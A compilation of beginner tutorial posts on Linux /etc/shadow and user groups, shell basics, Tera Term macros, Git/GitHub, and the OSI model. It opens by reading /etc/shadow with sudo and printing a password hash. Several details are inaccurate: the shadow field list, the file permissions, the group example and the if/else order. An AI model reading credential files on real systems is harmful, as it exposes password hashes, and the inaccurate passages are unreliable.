The /etc/shadow file is a critical file in Linux systems that contains encrypted passwords for all user accounts. It is owned by the root user and only readable by the root user and the shadow group. It is used by the system to authenticate users and to prevent unauthorized access.

Let's see what's in it:

nguyenducchinh@VM:~$ sudo cat /etc/shadow | grep nguyenducchinh
nguyenducchinh:$y$j9T$AESKh04Gs0cVsWhla1K1B/$Xx2PgDjaheI7VUviYM3OiT6k3loXAA2wGfhL6rzNe3.:19618:0:99999:7:::
nguyenducchinh@VM:~$

The /etc/shadow file is a text file that contains one entry per user account. Each entry is made up of nine colon-separated fields:

• Username: The name of the user account.

• Password hash: The one-way transformation of the user's password.

• Last password change: The date on which the user's password was last changed, in days since January 1, 1970.

• Minimum password age: The minimum number of days that a user must keep their password before they can change it.

• Maximum password age: The maximum number of days that a user can keep their password before they must change it.

• Password inactive days: The number of days that a user's account will be locked if they do not change their password before the expiration date.

• Account expiry date: The date on which the user's account will expire.

• Reserved field: This field is currently unused.

• Encrypted password salt: This field is used to add randomness to the password hash.

The password hash field is the most important field in the /etc/shadow file. It is used to authenticate the user when they log in.

The other fields in the file are used to control password aging and account lockout policies. These policies can help to prevent unauthorized access to the system by making it more difficult for attackers to guess or steal user passwords.

The /etc/shadow file is owned by the root user and has permissions of 0600. This means that only the root user can read or write to the file. This helps to protect the file from unauthorized access.

User group

A user group in Linux is a collection of users who share common access privileges. Each group has a unique Group ID (GID) that is used to identify the group to the system and determine the group's permissions and privileges.

User groups are important because they make it easier to manage access control. By assigning users to groups, you can grant them specific permissions and privileges without having to manually configure permissions for each individual user.

How to create, manage, and delete user groups in Linux

To create a new user group in Linux, you can use the groupadd command. For example, to create a group called developers, you would run the following command:

sudo groupadd developers

To add a user to a group, you can use the usermod command. For example, to add the user nguyenducchinh to the developers group, you would run the following command:

sudo usermod -aG developers nguyenducchinh

To remove a user from a group, you can use the gpasswd command. For example, to remove the user nguyenducchinh from the developers group, you would run the following command:

sudo gpasswd -d nguyenducchinh developers

To delete a user group, you can use the groupdel command. For example, to delete the developers group, you would run the following command:

sudo groupdel developers

Here are some examples of common user groups in Linux:

• admin: The administrator group. Users in this group have full administrative privileges.

• root: The root user group. The root user is the most powerful user on the system and has unrestricted access to all files and resources.

• sudo: The sudo group. Users in this group can run commands with root privileges.

• developer: The developer group. Users in this group typically have access to development tools and resources.

• qa: The quality assurance group. Users in this group typically have access to testing tools and resources.

• ops: The operations group. Users in this group typically have access to production systems and resources.

You can also create your own custom user groups to meet the specific needs.

Understand /etc/group file

he /etc/group file is a text file that contains information about the user groups on a Linux system. Each line in the file represents a single group, and the fields are separated by a colon.

group_name:password:GID:user_list

• group_name: The name of the group.

• password: The group password. This is optional and is not typically used.

• GID: The group ID (GID). This is a unique number that identifies the group to the system.

• user_list: A list of users who belong to the group, separated by commas.

For example, the following line in the /etc/group file represents the admin group:

admin::0:root,wheel

This line indicates that the admin group has GID 0, and that the users root and wheel are members of the group.

Best practices for user management

• Use strong passwords: Users should be required to use strong passwords that are difficult to guess.

• Limit user permissions: Users should only be given the permissions they need to perform their job duties.

• Regularly audit user accounts: System administrators should regularly audit user accounts to ensure that they are still necessary and that permissions are assigned appropriately.

• Delete unused user accounts: Unused user accounts should be deleted to reduce the attack surface of the system.

Conclusion

User management is an important part of Linux security. By understanding how it works and how to protect it, you can help to keep your system and your data safe.

The Linux command line is a text-based interface that allows you to interact with the operating system. It is a lot like the DOS prompt in Windows, but it is much more powerful.

There are several different shells on Linux, these are just a few popular ones:

• Bourne-again shell (Bash)

• C shell (csh or tcsh, the enhanced csh)

• Korn shell (ksh)

• Z shell (zsh)

On Linux, the most common one is the Bash shell. We will mainly focus on Bash in this series.

To access the Linux command line, open a terminal window. On most Linux distributions, you can do this by pressing Ctrl+Alt+T shortcut.

Once you are in the terminal window, you can start typing commands.

Root and non-root shell

The main difference between root and non-root shells is the level of privileges they have. The root shell has full access to the system, while the non-root shell has limited access.

The easiest way to tell if you are in a root shell or a non-root shell is to look at the prompt. The prompt for a root shell starts with a number sign (#), while the prompt for a non-root shell starts with a dollar sign ($).

On Ubuntu or Debian GNU/Linux, the prompt for a regular user will likely look like this:

nguyenducchinh@VM:~$

If you are logged in as root, your prompt will look like this:

root@VM:~#

You can also use the whoami command to check your current user ID.

nguyenducchinh@VM:~$ whoami
nguyenducchinh

If you are logged in as root, the output of the whoami command will be root.

root@VM:~# whoami
root

It is important to note that the root shell can be dangerous if used incorrectly. For this reason, it is important to only use the root shell when necessary and to take precautions to avoid making mistakes.

Structure of a Linux command

The structure of a Linux command is as follows:

~$ command [options] [arguments]

• Command: The command is the name of the program or function that you want to run.

• Options: Options are modifiers that can be used to change the behavior of the command.

• Arguments: Arguments are the data that the command needs to work.

In the below case, filename is the argument needed to specify which file you will delete.

~$ rm filename

Some commands can accept multiple arguments.

~$ rm filename1 filename2 filename3

Here are some acceptable options you can add for rm:

• -i prompts system confirmation before deleting a file.

• -f allows the system to remove without a confirmation.

• -r deletes files and directories recursively.

Options can be accessed in a short and a long form. For example, -l is identical to --format=long and -a is the same as --all.

Multiple options can be combined as well and for the short form, the letters can usually be typed together. For example, the following commands all do the same:

~$ ls -la 
~$ ls -l -a
~$ ls --format=long --all

Variables

In Linux shell, a variable is a named location in memory that can be used to store data. Variables can be used to store text, numbers, or other types of data.

Local Variables

To declare a local variable you use the following syntax:

~$ variable_name=value

For example, the following command declares a variable called my_variable and assigns it the value 123:

nguyenducchinh@VM:~$ my_variable=123

Once a variable has been declared, you can use it in commands by preceding its name with a dollar sign ($). You can display any variable using the echo command.

nguyenducchinh@VM:~$ echo $my_variable
123

To remove a variable, use the command unset:

clayton@VM:~$ unset my_variable
clayton@VM:~$ echo $my_variable

clayton@VM:~$

The problem is, that when you open another terminal window, this variable is not accessible.

Local variables only work in the instance they were declared. If want to access it across the shell environment, you need to turn it into a global variable.

Global Variables

Turning local to global variables is done by the command export. When it is invoked with the variable name, this variable is added to the shell’s environment:

clayton@VM:~$ greeting=hello
clayton@VM:~$ export greeting

The PATH Variable

The PATH variable is a colon-separated list of directories that tells the shell where to look for executable programs. When you type a command in the shell, the shell searches the directories in the PATH variable for an executable file with the same name.

clayton@VM:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/snap/bin
clayton@VM:~$

Let's say you have an executable file called my_script.sh in your /home directory. By default, the shell will not be able to find this file, because it is not in one of the directories in the PATH variable.

To make the shell find this file, you can add the home directory to the PATH variable. You can do this by editing your shell configuration file, typically ~/.bashrc or ~/.profile. In the file, add the following line:

PATH=$HOME/bin:$PATH

This will tell the shell to look for executable files in the home directory, in addition to the directories that are already in the PATH variable.

If you don't want to edit can also set the PATH variable temporarily by using the export command.

Now, you can run the my_script.sh file by just typing the following command:

clayton@VM:~$ my_script.sh

The shell will find the file in the home directory and execute it.

By setting the PATH variable to include the directories where your executable files are located, you can avoid having to type the full path to the file every time you want to run it.

Most used Linux commands

Here are some of the top Linux commands frequently used by developers and system administrators:

1. ls – List directory contents

• Displays files and directories in the current directory.

$ ls -l
total 32
drwxr-xr-x 2 user user 4096 Sep 22 10:00 Documents
drwxr-xr-x 3 user user 4096 Sep 21 09:00 Downloads
-rw-r--r-- 1 user user  614 Sep 22 11:00 example.txt

2. cd – Change directory

• Used to navigate between directories.

$ cd Documents

3. pwd – Print working directory

• Displays the current directory you are in.

$ pwd
/home/user/Documents

4. cp – Copy files or directories

• Copies files from one location to another.

• Example: cp file.txt /path/to/destination

$ cp example.txt backup.txt

5. mv – Move or rename files

• Moves or renames files or directories.

$ mv example.txt example_old.txt

6. rm – Remove files or directories

• Deletes files or directories.

• Example: rm file.txt (use rm -r for directories)

$ rm example_old.txt

7. touch – Create an empty file

• Creates an empty file or updates the timestamp of an existing file.

$ touch newfile.txt

8. mkdir – Make a directory

• Creates a new directory.

$ mkdir newfolder

9. rmdir – Remove directory

• Deletes an empty directory.

$ rmdir newfolder

10. cat – Concatenate and display file content

• Displays the content of a file.

$ cat example.txt
This is an example file.

11. grep – Search text using patterns

• Searches for a pattern in files.

• Example: grep "search_text" file.txt

$ grep "example" example.txt
This is an example file.

12. find – Search for files or directories

• Searches for files based on name, type, or other attributes.

$ find /home/user -name "*.txt"
/home/user/Documents/example.txt

13. chmod – Change file permissions

• Modifies the permissions of a file or directory.

$ chmod 755 script.sh

14. chown – Change file owner and group

• Changes the owner or group of a file.

$ chown user:group file.txt

15. top – Display active processes

• Shows real-time system processes, CPU, and memory usage.

$ top

(You’ll see an interactive display of processes.)

16. ps – Report process status

• Displays currently running processes.

$ ps aux

• Output:

USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
user      1234  0.1  1.2 123456 12345 ?        Ssl  10:00   0:01 /usr/bin/python3

17. kill – Terminate a process

• Kills processes by process ID.

$ kill 1234

18. df – Disk space usage

• Shows available disk space on file systems.

$ df -h

• Output:

system      Size  Used Avail Use% Mounted on
/dev/sda1       100G   60G   40G  60% /

19. du – Disk usage

• Shows the size of directories and files.

$ du -sh *

• Output:

5.0M    Documents
10M     Downloads

20. tar – Archive files

• Archives and compresses files.

$ tar -czvf archive.tar.gz /path/to/folder

21. wget – Download files from the web

• Downloads files from a URL.

$ wget https://example.com/file.zip

22. curl – Transfer data from or to a server

• Used to make network requests and download files.

$ curl https://example.com

23. man – Manual pages for commands

• Displays the manual for a command.

$ man ls

24. echo – Display a line of text

• Outputs text or variables.

$ echo "Hello World"
Hello World

25. sudo – Execute commands with superuser privileges

• Runs commands as the root user or another user.

$ sudo apt update

Conclusion

These are just the essentials of Linux command line that you should know. With these, you will be able to do basic file management, navigate the file system, and run programs.

Tera Term is a terminal emulator software that is free and open-source. It supports Serial, TCP/IP, and named pipe connections. Tera Term Macro is a scripting language that comes with Tera Term.

It allows you to automate various tasks that you can do with a terminal, such as auto-login, auto-logging, auto-configuration, monitoring, and more.

Tera Term language (TTL) is the language used for writing macros. You can find the documentation at MACRO Help Index. You can use any text editor to create your macros.

In this article, I will show you how to use TTL to automate anything that needs a terminal input.

Connect to a Remote host

To begin working with TTL, you have to connect to a remote host first.

To connect to a serial port, you can:

;Set the COM5 port
connect '/C=5'

Here is an example of how to SSH to a host using the password method:

connect 'myserver /ssh /auth=password /user=username /passwd=password'

This code snippet connects to a remote host using SSH connection (port 22). You can replace myserver with the IP address or hostname of the remote host.

• The /auth=password parameter is used to indicate using the password method.

• The /user=username parameter is used to specify the username.

• The /passwd=password parameter is used to specify the password.

Here is an example of how to connect to SSH using public key method:

connect 'myserver /ssh /auth=publickey /user=username /keyfile=private-key-file'

The /auth=publickey parameter is used to indicate that we are using public key authentication.

• The /user=username parameter is used to specify the username.

• The /keyfile=private-key-file parameter is used to specify the private key file.

You can find more information about other options for connecting to SSH using Tera Term macro in the Tera Term documentation.

After connecting to the remote host, you can then execute your automation script.

Variables

There are two types of variables:

• Strings (limited to 255 characters)

• Integers (Limited to ~ +/-2 billion)

To create a variable in TTL, you can use the following syntax:

set <variable_name> = <value>

For example, to create a variable named my_var and assign it the value 123, you can use the following command:

set my_var=123

You can then use this variable in your macro by enclosing it in % symbols. For example, to display the value of my_var, you can use the following command:

messagebox "%my_var%"

This will display a message box with the value of my_var (which is 123 in this case).

User input

To get user input in Tera Term Macro, you can use the input command. Here is an example of how to use the input command:

input 'Enter your name: ' Name
print 'Hello, ' + Name + '!'

This code snippet prompts the user to enter their name and stores the input in the variable Name. Then it outputs the text "Hello, " followed by the value of Name and the exclamation mark to the terminal.

Special Statements

Tera Term Macro has many special statements that you can use to control Tera Term and automate your tasks.

Some of the special statements include wait, sendln, connect, input, print, if, goto, label, and more. You can find more information about these special statements in the Tera Term documentation.

I will introduce you to some of the most commonly used special statements and how to use them.

wait and sendln

Some of the unique features of Tera Term are wait and send/sendln .

The wait statement reads through all of the terminal output and when one of the strings is found, it sets the result to the index of that string and moves on.

This can be useful to wait for a password prompt or wait for the result of the command.

A nice addition to the wait command is the sendln and send commands. These do what their names suggest: they write out commands to the terminal (with sendln adding a new line at the end).

For example, I can log in to my network device and then execute some commands without entering my password.

;Set the COM5 port
connect '/C=5'

;Set the username and password's prompt and value
UsernamePrompt = 'login:'
PasswordPrompt = 'Password:'

;Set credentials value
Username ='admin'
Password = 'mypasword'

;Set the command to execute after
Command = 'show interface description'

;Wait for the UsernamePrompt
wait UsernamePrompt
;input Username here if UsernamePrompt is received
sendln Username

;Wait for the PasswordPrompt
wait PasswordPrompt
;input Password here if PasswordPrompt is received
sendln Password

This code snippet waits for a certain word and if the word is found then execute a command. The sendln command sends characters followed by a new-line character to the host.

With these two statements, you can send in a command, wait for the result, then execute another command. You can do pretty much anything that usually requires manual input from the terminal.

strconcat and sprintf2

strconcat is a command in Tera Term macro that appends a copy of a string to the end of a string variable. For example:

filename = "C:\\teraterm\\"
strconcat filename 'test.txt'

In the beginning, filename with the value C:\\teraterm\\, you can append test.txt to it using the strconcat command. The resulting value of filename would be C:\\teraterm\\test.txt

sprintf2 is another command in Tera Term macro that returns formatted output. It works similarly to the sprintf command but with more options. The output string is stored in the string variable. For example:

sprintf2 var \"%s/ USER NAME:%s\" '192.168.1.1' 'test user'

The above command formats the var to 192.168.1.1/ USER NAME:test user by replacing the %s with the strings after it. This works kind of the same with popular programming languages like C or Powershell.

Conditional statements

TTL supports conditional statements such as if, then, elseif, else, endif.

Here is how you can create a if/else statement in TTL:

if <expression> then
  <statement>
else
  <statement>
elseif
  <statement>
endif

If the condition is true, the following if commands are executed. Otherwise, the following the else commands are executed.

Loop statements

To use loop statements in Tera Term Macro, you can use the do, while, until, for, and next commands

while

Here is how you can create a while statement in TTL:

while <condition>
    <command>
endwhile

The following the while keyword is executed repeatedly as long as the condition is true.

goto

To use goto in Tera Term Macro, you need to define a label using the label command.

Here is an example of how to use goto in Tera Term Macro:

label start
input 'Enter your age: ' Age
if Age= ''
   goto start
endif

This code snippet defines a label called start. It prompts the user to enter their name and stores the input in the variable Age.

If the value of Age is empty, it will jump back to the label start.

for and next

They repeat commands between for and next until the integer variable has the value at the next statement. After each loop the integer variable increases by 1.

Here is an example:

for i = 1 to 10
  send "Hello World"
next i

do and loop

One of the more difficult statements to understand is do and loop . They repeat the commands between them according to the conditions as follows:

• If while is specified, repeats while is non-zero.

• If until is specified, repeats while is zero.

Here is an example:

; Send clipboard content to terminal
offset = 0
do
   clipb2var buff offset
if buff > 0
   send buff
offset = offset + 1
loop while result = 2

Save the log

The logopen statement causes Tera Term to start logging and logclose statement tells it to stop. Anything in your terminal will be saved in the location you specified.

Here is an example of a macro that logs data received from the host:

;Start logging
logopen "C:\log.txt" 0 1

;Wait for data from the host
wait ">"
sendln "show version"

;Wait for the command output

wait "show version"
wait ">"

; Stop logging
logclose

This macro logs the output of the “show version” command to a file named “log.txt” in the root directory of drive C. The logopen command starts logging and the logclose command stops logging.

Conclusion

As a network engineer myself, working with a command line interface often requires the same set of commands to be executed many times.

The same is said for many technical-related work such as coder or tester.

Being able to sweep a set of commands to a terminal automatically is a great time-saver.

In this article, I introduced you to Tera Term Macro, a powerful language that can accelerate your workflow immensely.

Remote repositories allow you to:

• Back up your project.

• Access a Git project from multiple computers.

• Collaborate with others on different projects.

Working with a Remote repository

There are three steps to this process:

• Create the remote repository on GitHub.

• Add a connection to the remote repository in the local repository.

• Upload (or push) data from the local repository to the remote repository.

Create a Remote repository

Go to https://github.com and create an account. Then you can create a new repository.

In Create a new repository page, you need to give some information:

• Repository name

• Description

• Accessibility (Public or Private )

and click on the Create repository button shown in the screenshot below.

Git clone

Git allows you to get a copy of the GitHub repository for your own local machine and have your own local repository. In order to perform this task Git provides us with the git clone command.

You can get the URL by going to your Quick Setup page.

Or if you have an established repo, you can find it in the Code section.

In your local machine, open the command prompt and navigate to any folder or directory where you would like to have your local repository set, and type the following command:

$ git clone https://github.com/'your-username'/'your-repo'

You will have a copy of the remote repository on your local machine.

Git Push

Now let’s create a simple index.html file and save it in our working directory.

Then use git add command to add the file from the working directory to the staging area. Use git commit command to save the changes from the staging area into our local repository. You can read about git add and git commit here.

$ git status
On branch main

No commits yet

Changes to be committed:
  (use "git rm --cached <file>..." to unstage)
        new file:   index.html

$ git commit -m "remote repo"
[main (root-commit) efc93b3] remote repo
 1 file changed, 19 insertions(+)
 create mode 100644 index.html

Now, you can use git push to push to your remote repository.

$ git push
info: please complete authentication in your browser...
Enumerating objects: 3, done.
Counting objects: 100% (3/3), done.
Delta compression using up to 8 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (3/3), 447 bytes | 447.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
To https://github.com/susuomlu/git-begin.git
 * [new branch]      main -> main

Now check back your GitHub repository, you can see the newly uploaded file.

Git Pull

Let’s update the index.html file present in the GitHub repository.

Open GitHub repository page, open index.html and click edit as shown in the screenshot below.

Choose Commit changes and write the commit message, as shown in the screenshot below.

Now the GitHub repository contains the latest updated version of index.html file. However, the local repository is now outdated.

In order to get this new version into our local repository, the git pull command is used.

$ git pull
remote: Enumerating objects: 5, done.
remote: Counting objects: 100% (5/5), done.
remote: Compressing objects: 100% (2/2), done.
remote: Total 3 (delta 1), reused 0 (delta 0), pack-reused 0
Unpacking objects: 100% (3/3), 677 bytes | 35.00 KiB/s, done.
From https://github.com/susuomlu/git-begin
   efc93b3..1b054c7  main       -> origin/main
Updating efc93b3..1b054c7
Fast-forward
 index.html | 1 +
 1 file changed, 1 insertions(+)

Refresh index.html file in our local machine and you will see the updated version.

Git Merge and Merge Conflict

Merge conflict happens when developers are working on the same file and on the same lines of code.

When this happens Git does not know how to fix the issue and throws a merge conflict message and it is up to the developer to resolve such a situation.

In your local machine, open index.html and make changes to it.

After it do git add and git commit do save the changes.

Open the GitHub repository page, update index.html file at the same line and commit the changes.

Now if we pull the code from GitHub. Since changes were made to the same file and to the same line, Git will throw a merge conflict message as shown below.

$ git pull
remote: Enumerating objects: 5, done.
remote: Counting objects: 100% (5/5), done.
remote: Compressing objects: 100% (2/2), done.
remote: Total 3 (delta 1), reused 0 (delta 0), pack-reused 0
Unpacking objects: 100% (3/3), 682 bytes | 22.00 KiB/s, done.
From https://github.com/susuomlu/git-begin
   1b054c7..14e1e2c  main       -> origin/main
Auto-merging index.html
CONFLICT (content): Merge conflict in index.html
Automatic merge failed; fix conflicts and then commit the result.

Let’s open index.html file in our local machine. You can see Git input some lines in it.

In order to resolve this issue, one of the developers has to delete all the merge conflict from index.html file and commit it again.

In this case, I decided to delete my own modification and let the

Note: The shortcut of git add + git commit is: git commit –am “commit message”

$ git commit -am "merge resolve"
[main 8efe397] merge resolve
$ git pull
Already up to date.

This is the final for my series talking about the basic of how to work with Git and GitHub.

We went through how to work with a local repository, how to branch and merge, and finally how to work with a remote repository.

For older posts regarding this topic you can refer to:

[GitHub] Making your first commit

[GitHub] Branching and Merging

Suppose I'm writing an online novel. The published chapters are the main branch.

I don’t want to publish to the official line until my editor has reviewed and approved it.

So, I can make a secondary branch, work on that branch, and then submit it to be reviewed by my editor. Once they’ve approved the work I can combine that branch into the main branch.

If I hire an assistant, we can work on our own secondary branches. Then, only the work on a secondary branch that has been approved by both the other author and the editor will be combined with the main branch.

A branch represents a line of development. Branches in Git are movable pointers to commits.

New commits are recorded in the history of the current branch, which is called a fork in the history of the project. Every time you commit, the master branch pointer moves forward automatically.

A Git project can have multiple branches (or lines of development). Each of these branches is a standalone version of the project.

Why do we use Branches?

Branches are a powerful tool for managing your code in Git. They allow you to work on different aspects of your project without interfering with each other and allow multiple people to work on the same project at the same time.

You can also use branches to create pull requests on platforms like GitHub or GitLab, where other developers can review and approve your code before merging it to the main branch.

Working on a Branch

Let's go back to the original project we have in the previous post. I modified the colors.txt file and commit it.

❯ git status
On branch main
Changes not staged for commit:
  (use "git add <file>..." to update what will be committed)
  (use "git restore <file>..." to discard changes in working directory)
        modified:   colors.txt

no changes added to commit (use "git add" and/or "git commit -a")

Git tells us that colors.txt is a modified file. It is now listed in the git status output. The colors.txt file is not staged for commit; in other words, it has not been added to the staging area.

Let's stage it and commit it.

❯ git add -A

❯ git commit -m "begin"
[main 2314fbc] modified colors
 1 file changed, 1 insertion(+)

❯ git log
commit 2314fbc16b12a978e455eb852c400425e389aa8a (HEAD -> main)
Author: Nguyen Duc Chinh <susuomlu@gmail.com>
Date:   Mon Aug 14 13:14:54 2023 +0700
  begin

commit acdeedbd9540d6a4918d81e7926096a380839dd2
Author: Nguyen Duc Chinh <susuomlu@gmail.com>
Date:   Sat Aug 12 15:00:47 2023 +0700
  first commit

You just made a new commit on a branch, this case is the main branch.

The HEAD indicates which branch you are on by referencing in .git > refs > heads. You can also know which branch you are on using git branch.

❯ git branch
* main

The * symbol indicates which branch you are in.

Create a Branch

You can use the command git branch <name> to create a new branch with the given name. This will not switch you to the new branch but only create it.

❯ git branch chapter#1

❯ git branch
  chapter#1
* main

To switch to the new branch, you can use git checkout <name> or git switch <name>.

❯ git checkout chapter#1
Switched to branch 'chapter#1'

❯ git branch
* chapter#1
  main

If I edit colors.txt again, then do git commit -m "new branch" it, the brach is now separated.

Now the HEAD is in another branch called chapter#1.

What is Git Merge?

Merge is a way of combining the changes from two different branches in Git. When you merge, you take the latest commits from one branch and apply them to another branch. This way, you can keep your code up to date and avoid conflicts. Merging is usually done when you want to integrate new features or bug fixes into your main branch.

You can merge using the git merge command, or use a graphical tool like GitHub Desktop or GitKraken.

There are two types of merges:

• Fast-forward merges

• Three-way merges

Fast-forward Merge

Let’s assume I work on my book colors.txt and I add commits C and D to the chapter#1 branch.

When I merge using the git merge command, a fast-forward merge would occur.

In this case, we can say the branches have not diverged. During the fast-forward merge, the main branch pointer simply moves forward to point to the commit that the chapter#1 branch points to, which is D.

Three-way Merge

Now suppose I decide to make a chapter#8 branch to work on chapter 8 of my book colors.txt, and I make commits E and F.

If I merge the chapter#8 branch into the main branch, it can’t be a Fast-forward merge because there is no way to just move the branch pointer forward to combine these two development histories.

Instead, a merge commit will be created to tie the two development histories together. This is Three-way Merge.

In this topic, I introduced the concept of branches as different lines of development and showed they are movable pointers to different commits.

We also learn what merging is, know the two types of merges, and explained how the type of merge that will be carried out depends on the development histories of the branches involved in the merge.

In the next topic, we will learn about Pushing and Pulling from a Remote Repository.

Git is a distributed version control system that tracks changes in any set of computer files. It is usually used for coordinating work among programmers who are collaboratively developing source code during software development.

GitHub is a cloud-based service for software development and version control using Git.

In summary, Git is a tool that developers install locally to manage source code while GitHub is an online service to which developers who use Git can connect and upload or download resources.

Repositories

A repository (also known as a repo) is how we refer to a project version controlled by Git.

There are two types of repositories:

• Local repositories are repositories that are stored on a computer.

• Remote repositories are repositories that are hosted on a hosting service.

There are many company that provides hosting for projects using Git. The main hosting services are GitHub, GitLab, and BitBucket.

Working Directory

The working directory contains the files and directories in the project directory that represent one version of a project.

It is where you add, edit, and delete files and directories.

Suppose the Book project that I am working on has 100 chapters, and I have 100 text files, one for each chapter: chapter_one.txt, chapter_two.txt, and so on.

To add each of these chapter files to my project, I would create these files in the working directory.

If I wanted to make any changes to the content of those chapters, I would start by editing the files in the working directory.

And finally, if I decided I wanted to remove an entire chapter of my book, I would delete the corresponding file in the working directory.

Local Repositories

To turn a directory into a Git repository you have to initialize it.

When you initialize a repository, the .git directory is automatically created inside the project

directory.

To initialize a Git repository, you use the

❯ git init -b <branch-name> <project-name>

command. Your current directory must be the project directory you want to turn into a repository when you execute this command.

For example:

❯ git init -b main git-begin

will create the current directory as a Git directory with the branch name main.

 Directory: C:\Users\nguyenducchinh\git-begin
    Mode                 LastWriteTime         Length Name
    ----                 -------------         ------ ----
    da-h--         8/12/2023   2:07 PM                .git

Now you successfully init a Git local repository. This is what it currently looks like:

Within the .git repository, there are two important areas we want to explore further: the staging area and the commit history.

Directory: C:\Users\nguyenducchinh\git-begin\.git
    Mode                 LastWriteTime         Length Name
    ----                 -------------         ------ ----
    d-----         8/12/2023   2:07 PM                hooks
    d-----         8/12/2023   2:07 PM                info
    d-----         8/12/2023   2:07 PM                objects
    d-----         8/12/2023   2:07 PM                refs
    -a----         8/12/2023   2:07 PM            130 config
    -a----         8/12/2023   2:07 PM             73 description
    -a----         8/12/2023   2:07 PM             21 HEAD

We’ll take a look at those next and also discuss the concept of a commit in a little more detail.

Staging area

The staging area is similar to a rough draft space. It is where you can add and remove files when you are preparing what you want to include in the next saved version of your project (your next commit). The staging area is represented by a file in the .git directory called index.

Commit History

The commit history is where you can think of your commits existing. It is represented by the objects directory inside the .git directory.

Now that we have a complete Git diagram showing the most important areas when working with Git, let’s add the first file to the project and use a text editor to edit it.

Making a Commit

What is a commit? A commit represents one version of a project. Every time you want to save a new version of a project, you can make a commit.

Committing is important because it allows you to back up your work. A common saying in the world of Git is “commit early, commit often”. Once you’ve made a commit, you’ll be able to go back and look at that commit to see what your project looked like at that point in time and avoid the frustration of losing unsaved work.

We will create one file, called colors.txt, in our working directory. This is now what our project looks like:

Making a commit is a two-step process:

• Add all the files you want to include in the next commit to the staging area.

• Make a commit with a commit message.

❯ git status
On branch main
No commits yet

Untracked files:
(use "git add <file>..." to include in what will be committed)
        colors.txt

nothing to commit (create/copy files and use "git add" to track)

The ”git status” output informs you:

• No commits history yet.

• The colors.txt file is an untracked file.

• Git gives you the instructions that you need to add the untracked file to the staging area: use "git add <file>..." to include in what will be committed.

Add file to the Staging area

To add files to the staging area, you use the git add command. If you only want to add individual files that you have edited to the staging area, then you can pass in the filename or filenames to the git add command as arguments. To add all the files you have edited or changed in your working directory, you can use the git add command with the -A option (which stands for “all”).

❯ git add -A

❯ git status

On branch main
No commits yet
Changes to be committed:
    (use "git rm --cached <file>..." to unstage)
        new file:   colors.txt

As mentioned in above, the staging area allows you to choose which updated files (or changes) will be included in your next commit. You can see the file colors.txt will be in the next commit.

This is what our project looks like:

The git add command does not move a file from the working directory to the staging area, it creates a copy of the file from the working directory into the staging area.

With the colors.txt file in the staging area, we are now ready to make a commit with a commit message

Make a Commit

To make a commit, you will use the git commit command and pass in the -m option (which stands for “message”). The message should usually be a brief description of the changes you made in this version of the project.

❯ git commit -m "first commit"
 [main (root-commit) a513742] first commit
   1 file changed, 0 insertions(+), 0 deletions(-)
   create mode 100644 colors.txt

Now that we have made the first commit in the repository, let’s take a look at the information you can find about this commit in the commit history. Let see git log

❯ git log

commit a51374292e065da20b52ea4f9c377134cd5e0761 (HEAD -> main)
Author: Nguyen Duc Chinh <susuomlu@gmail.com>\
Date:   Sat Aug 12 15:00:47 2023 +0700
  first commit

The git log output shows:

• The full commit hash of the commit.

• The author of commit.

• The date and time at which the commit was made.

• The commit message, which in this case is ”first commit”.

This is what our project looks like:

In this topic, I introduced the different areas you will interact with when working with Git: the working directory, the staging area, the commit history, and the local repository.

We also learn the two steps of making a commit: adding files to the staging area and making a commit with a commit message and making a first commit in the repository.

In the next topic, we will learn about Git Braches and Merge.

The Open Systems Interconnection (OSI) model is a conceptual model that describes how different communication systems talk to each other on a computer network

OSI was the first standard model for network communications, adopted by all major computer and telecommunication companies in the early 1980s.

The modern Internet is not based on OSI but on the simpler TCP/IP model. However, the OSI 7-layer model is still widely used, as it helps visualize and communicate how networks operate and helps isolate and troubleshoot networking problems.

OSI Layers

OSI contains 7 layers.

These layers are the Application, Presentation, Session, Transport, Network, Data link, and Physical layer.

Application Layer

The application layer is used by user-facing software such as web browsers or email clients.

This layer provides services that include: e-mail, transferring files, distributing results to the user, directory services, network resources, and so on.

It provides protocols that allow the software to send and receive information and present meaningful data to users.

A few examples of application layer protocols are the Hypertext Transfer Protocol (HTTP), File Transfer Protocol (FTP), Post Office Protocol (POP), Simple Mail Transfer Protocol (SMTP), Domain Name System (DNS), Teletype Network Protocol (Telnet),...

Depending on the information the user wants to send over the network, a specific protocol is used:

• The SMTP or POP3 protocol is used to send an e-mail message.

• The FTP protocol is used to transmit a file over the network.

• The Telnet protocol is used to control a remote device.

Presentation Layer

The presentation layer prepares data for the application layer.

It ensures that the information that the application layer of one system is readable by the application layer of another system. It defines how two devices should encode, encrypt, and compress data so it is received correctly on the other end.

Simply put, the presentation layer serializes complex data structures into flat byte strings (using mechanisms such as TLV, XML, or JSON) before giving them to the application layer.

Session Layer

The session layer creates communication channels between devices.

It is responsible for opening sessions, ensuring they remain open and functional while data is being transferred, and closing them when communication ends.

It also offers other services such as authentication and reconnection after an interruption. It creates checkpoints and recovery, which is useful for re-transmitting data in case of a system failure.

Transport Layer

The transport layer is responsible for providing end-to-end communication between two devices.

On the sender end, the transport layer divides a message into smaller segments that contain a sequence number and the port address. Then it reassembles the segments on the receiving end, turning them back into data that can be used by the session layer.

The transport layer provides two types of services: connection-oriented and connectionless services.

• The Transmission Control Protocol (TCP) is a connection-oriented protocol that provides reliable data transfer. It establishes a connection between two devices before transmitting data. TCP provides error checking and flow control mechanisms to ensure that data is transmitted reliably.

• The User Datagram Protocol (UDP) is a connectionless protocol that provides fast data transfer. It does not establish a connection before transmitting data. UDP does not provide error checking or flow control mechanisms, so data may be lost or arrive out of order.

Network Layer

The network layer is responsible for routing data packets from one network to another. It provides logical addressing and routing services.

It typically uses Internet Protocol (IP) addresses to route packets to a destination node.

It determines the best path for data transmission based on network conditions and traffic load.

The network layer also provides congestion control mechanisms to ensure that data is transmitted at an optimal rate.

Data Link Layer

The data link layer is responsible for the transmission of data between devices on the same network. It breaks up packets into frames and sends them from source to destination.

This layer is composed of two parts:

• Logical Link Control (LLC), which identifies network protocols, performs error checking, and synchronizes frames,

• Media Access Control (MAC) uses MAC addresses to connect devices and define permissions to transmit and receive data.

Physical Layer

The physical layer is responsible for the physical or wireless connection between network nodes.

